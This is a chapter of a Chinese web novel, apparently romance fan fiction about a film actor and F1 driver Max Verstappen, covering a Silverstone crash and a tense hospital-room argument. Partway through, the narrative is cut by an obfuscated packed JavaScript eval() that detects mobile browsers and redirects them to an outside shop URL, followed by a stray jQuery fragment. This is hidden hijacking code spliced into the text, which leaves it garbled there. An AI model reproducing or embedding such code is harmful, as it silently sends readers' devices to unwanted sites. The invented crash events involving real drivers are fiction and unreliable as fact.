28.银石事故
作品:《男朋友是F1车手怎么办》 斯科特出现在酒店的时候,林利正坐在露台啃三明治。
经纪人在他对面坐下,把公文包放在桌上,打量了他一眼:“你瘦了。”
林利举了举手里那个干巴巴的面包:“正在吃了。”
斯科特皱眉,没再多说什么,从包里拿出几个厚夹子,一本本摆在桌上。封面都是黑色或深灰色的,看不出具体内容,只有项目代号和角色名。
“都是精心挑选的可以试镜的机会。”斯科特的手指敲了敲最上面那本,“诺兰的新片《奥本海默》,4号角色,但毕竟是诺兰的大制作,而且角色有亮点。”
他接着推过另外两本:“网球题材的爱情片,双主角。”
“还有《饥饿游戏》前传,狮门影业的大IP,男一号。”
林利放下吃到一半的三明治,拿起最上面那本翻开。角色台词不多,但场景看起来很重要,参议院、中立者。
“这本有非常严格的保密协议。”斯科特补充道,“如果你决定是这个,试镜就在下个月。我会和《空战群英》这边打声招呼,调出你的档期。”
林利点头,又翻了翻另外两本。两男争一女的爱情片?角色高光在女主角吧。
第三本《饥饿游戏》前传,他草草扫过一眼角色描述,也没什么兴趣。
“最近怎么样?”斯科特语气随意地问,“肋骨的伤还好吗?”
“好多了。”
“有继续见咨询师吗?噩梦呢?”
“少了一些。”
其实昨晚还梦到了。
斯科特深深地看了他一眼,叹口气:“别硬撑。”
他站起来拍了拍林利的肩膀,“记得尽快告诉我你的决定,机会不等人。”
等斯科特走了,林利重新拿起第一本剧本,手机在口袋里震了一下。
他掏出来。
施蒂利亚大奖赛结束了,推送新闻蹦出:
【维斯塔潘统治施蒂利亚大奖赛,背靠背连胜。】
林利盯着标题看了一会,打开短信。犹犹豫豫地在屏幕上敲了几个字:
【L:祝贺P1。】
发送。
他试图把注意力拉回剧本,权衡着各个项目的利弊。
几分钟后,屏幕亮起。
【Emily:谢了。】
就这么一个词。
林利心里有些不是滋味。他想说点别的,或许问问“对不起那天晚上”,但最后还是什么都没发。
他不想这么快低头。难道那天半夜酒后的胡言乱语,麦克斯就一点错没有吗?
他咬了一口发瘪的三明治,只觉得味同嚼蜡,太阳穴也跟着一跳一跳地胀痛。
……
奥地利大奖赛,麦克斯再次夺冠。
林利刷着社交平台上的照片。麦克斯站在领奖台上,香槟喷得到处都是。
红牛主场,还是三连胜。
他逃避似地不想发短信。
手机这时候震了一声。
【Emily:你拿走了它们最喜欢的玩具。[图片:Jimmy和Sassy蜷在沙发上睡觉]】
林利茫然地回忆,他哪次把猫的玩具带走了吗?
他轻轻叹了口气,到底是麦克斯主动发来的信号。
【L:抱歉,我下次拿回去。】
已读。
然后就没有然后了。
林利等了五分钟、二十分钟,还是没有回复。
他一把将手机扔在床上,翻身面对墙壁。眼睛酸酸的不太舒服,他自嘲地想,大概是今天拍戏太久用眼过度了。
……
7月18日,纽约。
保密试镜地点在一栋不起眼的建筑里。
林利被要求上交手机、手表以及一切电子设备。如此严苛的阵仗让他在心中无端生起一股紧张。
“准备好了就开始。”导演助理示意道。
白炽灯有些刺眼。林利松开衬衫最上面的扣子,动作轻缓地绕着空椅子走了一圈。他对着空气微微侧头,垂下眼睑,嘴角勾起一个似有若无的弧度:“先生,有没有可能……”
“他们根本就没提到过你?”他故意拖长尾音,以一种审视的态度抬起眼皮,“有没有可能,他们谈论的是一些更重要的事?”
他挺直脊背,缓慢地整理了一下袖口。
……
“好了。”监视器后的制片人终于抬起头,在笔记本上写了点什么,“今天就到这里,我们会通知你结果。”
林利走出试镜室,工作人员递回他的私人物品。他拿起手机,屏幕亮起的信息让他心中一惊。
几十个来自麦克斯的未接来电和短信,社交平台全都是红色通知。
推送新闻抢先弹了出来:
【突发:维斯塔潘在银石赛道与汉密尔顿发生严重撞车事故,已被紧急送医。】
发生了什么?林利的手止不住抖起来,手机差点掉在地上。
画面中,两辆赛车几乎是以并排的姿态冲入极其高速的考普斯弯。汉密尔顿的左前轮擦过麦克斯的后轮,赛车瞬间失控着横扫过砂石区,狠狠撞进轮胎墙,发出“砰!”的恐怖撞击声,碎片四溅。
林利怔在原地,脑子一片空白。
“你好?”工作人员发现他的异样,“你需要帮忙吗?”
“我得走了。”林利听到自己在说。他的身体比大脑更早做出反应,已经冲出大楼,跌撞着拦下一辆开往机场的出租车。
一路上,拨回的电话没有人接通,发出的消息也没有回复。
麦克斯现在还好吗?他怎么样了?
他焦急地刷着所有能找到的新闻:
【维斯塔潘在事故后意识清醒,但仍被送往医院接受预防性检查。此次撞击强度高达51G,堪称F1近年来最严重的撞车事故之一……】
最严重,51G。
林利狠狠闭上眼睛,用力攥紧座椅扶手。他想起记忆中的考普斯弯,高速、几乎全油门通过。如果角度再偏一点,如果防滚架没撑住……
他不敢继续想,心脏跳得难受。
林利在登机前联系到了GP。
【L:他还在医院吗?】
【GP:送到考文垂了,刚做完最后一轮检查。】
【L:我能去看他吗?】
【GP:你确定?他现在……算了,你自己看吧,我跟前台说一声。】
飞机降落的时候已近凌晨。
麦克斯两个小时前在社媒发了一条平安消息,配了张自拍。
林利的指尖摩挲过屏幕里那张熟悉的脸,悄悄松了口气。
还好所有检查都没什么问题。
……
林利急匆匆跑进医院。
GP在病房门口等着,看到林利,点了点头。
“他刚睡着。”GP压低声音,“医生说观察到明天早上,如果没问题就能出院。”
“伤得重吗?”
“主要是冲击力太大。”GP在身上比划,“脖子、背部都有挫伤,幸好没有大的问题……”
他摇摇头,没继续说下去。
林利抿了抿干涩的嘴唇,有些局促地问:“我能进去吗?”
GP看了房门一眼,迟疑地说:“他好像睡着了,之前一直在看手机,心情不怎么样。”
“他有联系你吗?”GP补充,“总之……待会注意点。”
病房里很暗,只有监护仪器的绿光在闪烁。麦克斯仰靠在床上,脖子上戴着笨重的颈托
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217309|196580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
听到开门声,他转过头看到林利,神色微变。
“GP说你睡着了。”林利放轻脚步,慢慢向病床走近。
麦克斯沙哑着嗓音开口:“睡不着,可能是撞击的后遗症。”
林利在床边的椅子上坐下,嘴唇动了动,却发不出声音。麦克斯看起来比想象的要糟,脸色很白,眼下覆着青黑色阴影,嘴唇干裂得起了皮。
“医生怎么说?”林利重复了一遍刚才在门口问过的问题。
麦克斯低头盯着自己的手:“没事,运气比较好。”
空气中只有沉默,除了监护仪器的嘀嘀声一下一下。
“你在哪?”麦克斯开口,视线依旧没有看他。
下一秒,他却猛地转回头,大声质问:“刚出事的时候,我给你打了那么多电话。你在哪?”
林利被问得一僵:“我在试镜。保密项目,手机都不能带。”
“试镜。”麦克斯胸口起伏,一字一顿地又念了一遍。
“我不知道会出事,”林利慌了神,“如果我知道……”
“如果提前知道,你就会来?”麦克斯不等他把话说完,眼睛直直盯向林利,“还是说,你仍然会去试镜?”
不是这样的。林利张了张嘴,对上麦克斯沉沉的目光,话全堵在喉咙里。
“我差点死了。”麦克斯的声音开始发抖,“撞上去的那一刻,我以为完了。”
“你知道那是什么感觉吗?什么都看不到,也不知道自己在哪。而且动也不敢动,甚至不确定我是不是还完整。”
他停了停,手指抓紧床单:“你知道我第一个想到的是谁吗?这种时候,我竟然还在害怕以后见不到你……”
他别开脸,死死咬住嘴唇,再也说不下去。
“麦克斯……”
“试镜,”麦克斯轻嗤一声,“当然了。”
林利又急又涩:“你这么说不公平,我真的没想到会发生这种意外!”
“我也许会死!”麦克斯被气得发昏,不管不顾地挣扎起身,咬着牙狠狠说,“我最需要你的时候,你压根就不在!”
“快躺下!”林利惊恐地想去扶他,“你还受着伤!”
“你**根本就不在!”麦克斯越说越激动,监护仪器的警报突然响起。
护士快步推门进来:“冷静一点,先躺下来慢慢说。”
她检查完监护仪器,严肃地看向林利:“先生,请您先离开,患者需要静养。”
“我马上就走。”林利攥紧拳头。
护士调整完输液,带上门离去。
病房里又安静下来。
“我不是那个意思,我也想去的。”林利心乱如麻,“我看到新闻的时候整个人都懵了,担心得要命,生怕会有不好的结果。”
“可你就是不在。”麦克斯只重复着瘫回枕头,盯着天花板,“这才是最重要的结果。”
林利满心都是想辩解的话,他也很痛苦,这不是他能控制的。
但看着麦克斯此刻受伤的神情,他脖子上的颈托,还有他输着液的手。
“我很抱歉。”他最后只能说出这句话。
麦克斯恹恹地闭上眼:“你走吧,我想休息了。”
“麦克斯……”
“求你了。”麦克斯轻轻摇头,“我真的很累。”
林利往前微倾半步,想要握住麦克斯,告诉他一切都会好的,他们之间会没事的。可最终,双手还是颓然垂在身侧。
“那你好好休息,我们……再联系。”
林利沉默地转过身。手放在门把上的时候,忍不住回头再次望了一眼。
麦克斯孤零零地躺在那里,眼睛闭着,眉头紧皱。
门轻轻关上。

